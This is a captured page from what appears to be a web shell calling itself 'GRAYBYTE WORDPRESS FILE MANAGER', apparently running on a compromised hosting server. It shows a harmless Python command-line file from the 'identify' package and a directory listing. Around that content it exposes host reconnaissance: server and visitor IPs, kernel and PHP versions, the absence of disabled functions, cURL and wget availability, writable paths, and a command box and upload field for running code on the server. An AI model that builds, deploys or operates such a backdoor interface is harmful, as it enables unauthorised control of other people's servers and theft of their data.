GRAYBYTE WORDPRESS FILE MANAGER5679

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/hc_python/lib/python3.12/site-packages/identify/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/hc_python/lib/python3.12/site-packages/identify//cli.py
from __future__ import annotations

import argparse
import json
from collections.abc import Sequence

from identify import identify


def main(argv: Sequence[str] | None = None) -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument('--filename-only', action='store_true')
    parser.add_argument('path')
    args = parser.parse_args(argv)

    if args.filename_only:
        func = identify.tags_from_filename
    else:
        func = identify.tags_from_path

    try:
        tags = sorted(func(args.path))
    except ValueError as e:
        print(e)
        return 1

    if not tags:
        return 1
    else:
        print(json.dumps(tags))
        return 0


if __name__ == '__main__':
    raise SystemExit(main())

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
May 23 2025 08:31:29
root / root
0755
__pycache__
--
April 04 2025 08:00:22
root / root
0755
vendor
--
April 04 2025 08:00:22
root / root
0755
__init__.py
0 KB
April 04 2025 08:00:22
root / root
0644
cli.py
0.722 KB
April 04 2025 08:00:22
root / root
0644
extensions.py
13.559 KB
April 04 2025 08:00:22
root / root
0644
identify.py
7.73 KB
April 04 2025 08:00:22
root / root
0644
interpreters.py
0.672 KB
April 04 2025 08:00:22
root / root
0644
py.typed
0 KB
April 04 2025 08:00:22
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF